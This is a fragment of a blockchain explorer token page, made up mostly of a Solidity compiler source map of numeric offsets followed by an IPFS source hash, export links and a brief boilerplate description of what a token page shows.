8::0;;;8737:36:7;-1:-1:-1;;;;;;8787:3:7::1;::::0;:11:::1;::::0;1587:18:8;;8787:14:7::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8783:29:::0;8665:153:::1;7930:1;-1:-1:-1::0;;7941:9:7;:15;;-1:-1:-1;;;;7941:15:7;;;-1:-1:-1;8573:245:7:o;8824:243::-;7879:9;;-1:-1:-1;;;7879:9:7;;;;7876:21;;;8824:243;;;:::o;7876:21::-;7906:9;:14;;-1:-1:-1;;;;7906:14:7;-1:-1:-1;;;7906:14:7;;;-1:-1:-1;;;;;8928:16:7;::::1;::::0;;:34:::1;;-1:-1:-1::0;;;;;;8948:14:7;::::1;::::0;8928:34:::1;8964:7;8925:46;8980:23;8988:4;8993:2;8996:6;8980:7;:23::i;:::-;9018:4;::::0;:6;9015:46:::1;;9045:4;::::0;9030:20:::1;::::0;-1:-1:-1;;;9030:20:7;;::::1;::::0;::::1;1614:25:8::0;;;;9030:4:7::1;::::0;:14:::1;::::0;1587:18:8;;9030:20:7::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9026:35:::0;::::1;;-1:-1:-1::0;;7941:9:7;:15;;-1:-1:-1;;;;7941:15:7;;;-1:-1:-1;8824:243:7:o;9072:412::-;-1:-1:-1;;;;;9153:12:7;;9144:8;9153:12;;;:6;:12;;;;;;;;:56;;-1:-1:-1;;;;;9175:10:7;;;;;;:6;:10;;;;;;;;:34;;9196:13;;9153:56;;9175:34;9186:9;;9153:56;;;9166:4;:8;9153:56;9256:10;;9144:65;;-1:-1:-1;9220:14:7;;9236:31;;:15;:6;9144:65;9236:10;:15::i;:::-;:19;;:31::i;:::-;9287:3;;9220:47;;-1:-1:-1;;;;;;9281:9:7;;;9287:3;;9281:9;;:20;;-1:-1:-1;9298:3:7;;-1:-1:-1;;;;;9294:7:7;;;9298:3;;9294:7;9281:20;9278:37;;;-1:-1:-1;9314:1:7;9278:37;-1:-1:-1;;;;;9328:10:7;;;;;;:6;:10;;;;;;;;:41;;;;;9349:2;-1:-1:-1;;;;;9342:22:7;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:27;9328:41;9325:57;;;-1:-1:-1;9381:1:7;9325:57;9395:11;;9392:85;;9450:3;;9423:42;;9439:2;;-1:-1:-1;;;;;9450:3:7;9455:9;9423:15;:42::i;:::-;9134:350;;9072:412;;;:::o;14:548:8:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:8;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:8:o;1215:248::-;1283:6;1291;1344:2;1332:9;1323:7;1319:23;1315:32;1312:52;;;1360:1;1357;1350:12;1312:52;-1:-1:-1;;1383:23:8;;;1453:2;1438:18;;;1425:32;;-1:-1:-1;1215:248:8:o;1650:456::-;1727:6;1735;1743;1796:2;1784:9;1775:7;1771:23;1767:32;1764:52;;;1812:1;1809;1802:12;1764:52;1851:9;1838:23;1870:31;1895:5;1870:31;:::i;:::-;1920:5;-1:-1:-1;1977:2:8;1962:18;;1949:32;1990:33;1949:32;1990:33;:::i;:::-;1650:456;;2042:7;;-1:-1:-1;;;2096:2:8;2081:18;;;;2068:32;;1650:456::o;2300:180::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;-1:-1:-1;2451:23:8;;2300:180;-1:-1:-1;2300:180:8:o;2485:247::-;2544:6;2597:2;2585:9;2576:7;2572:23;2568:32;2565:52;;;2613:1;2610;2603:12;2565:52;2652:9;2639:23;2671:31;2696:5;2671:31;:::i;3564:388::-;3632:6;3640;3693:2;3681:9;3672:7;3668:23;3664:32;3661:52;;;3709:1;3706;3699:12;3661:52;3748:9;3735:23;3767:31;3792:5;3767:31;:::i;:::-;3817:5;-1:-1:-1;3874:2:8;3859:18;;3846:32;3887:33;3846:32;3887:33;:::i;:::-;3939:7;3929:17;;;3564:388;;;;;:::o;3957:732::-;4038:6;4091:3;4079:9;4070:7;4066:23;4062:33;4059:53;;;4108:1;4105;4098:12;4059:53;4141:2;4135:9;4183:3;4175:6;4171:16;4253:6;4241:10;4238:22;4217:18;4205:10;4202:34;4199:62;4196:185;;;4303:10;4298:3;4294:20;4291:1;4284:31;4338:4;4335:1;4328:15;4366:4;4363:1;4356:15;4196:185;4401:10;4397:2;4390:22;;4449:9;4436:23;4428:6;4421:39;4521:2;4510:9;4506:18;4493:32;4488:2;4480:6;4476:15;4469:57;4587:2;4576:9;4572:18;4559:32;4554:2;4546:6;4542:15;4535:57;4653:2;4642:9;4638:18;4625:32;4620:2;4612:6;4608:15;4601:57;4677:6;4667:16;;;3957:732;;;;:::o;4694:380::-;4773:1;4769:12;;;;4816;;;4837:61;;4891:4;4883:6;4879:17;4869:27;;4837:61;4944:2;4936:6;4933:14;4913:18;4910:38;4907:161;;4990:10;4985:3;4981:20;4978:1;4971:31;5025:4;5022:1;5015:15;5053:4;5050:1;5043:15;4907:161;;4694:380;;;:::o;5079:127::-;5140:10;5135:3;5131:20;5128:1;5121:31;5171:4;5168:1;5161:15;5195:4;5192:1;5185:15;5211:125;5276:9;;;5297:10;;;5294:36;;;5310:18;;:::i;5341:251::-;5411:6;5464:2;5452:9;5443:7;5439:23;5435:32;5432:52;;;5480:1;5477;5470:12;5432:52;5512:9;5506:16;5531:31;5556:5;5531:31;:::i;7491:277::-;7558:6;7611:2;7599:9;7590:7;7586:23;7582:32;7579:52;;;7627:1;7624;7617:12;7579:52;7659:9;7653:16;7712:5;7705:13;7698:21;7691:5;7688:32;7678:60;;7734:1;7731;7724:12;8180:168;8253:9;;;8284;;8301:15;;;8295:22;;8281:37;8271:71;;8322:18;;:::i;8353:127::-;8414:10;8409:3;8405:20;8402:1;8395:31;8445:4;8442:1;8435:15;8469:4;8466:1;8459:15;8485:120;8525:1;8551;8541:35;;8556:18;;:::i;:::-;-1:-1:-1;8590:9:8;;8485:120::o;12159:201::-;12199:1;-1:-1:-1;;;;;12264:10:8;;;;12283:37;;12300:18;;:::i;:::-;12338:10;;12334:20;;;;;12159:201;-1:-1:-1;;12159:201:8:o;12365:182::-;-1:-1:-1;;;;;12472:10:8;;;12484;;;12468:27;;12507:11;;;12504:37;;;12521:18;;:::i;:::-;12504:37;12365:182;;;;:::o;12552:135::-;12591:3;12612:17;;;12609:43;;12632:18;;:::i;:::-;-1:-1:-1;12679:1:8;12668:13;;12552:135::o;12692:184::-;12762:6;12815:2;12803:9;12794:7;12790:23;12786:32;12783:52;;;12831:1;12828;12821:12;12783:52;-1:-1:-1;12854:16:8;;12692:184;-1:-1:-1;12692:184:8:o
Swarm Source
ipfs://11a5b6448f51864e291e50aecc68842a0930140090e75c5c76f8bc29753188a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.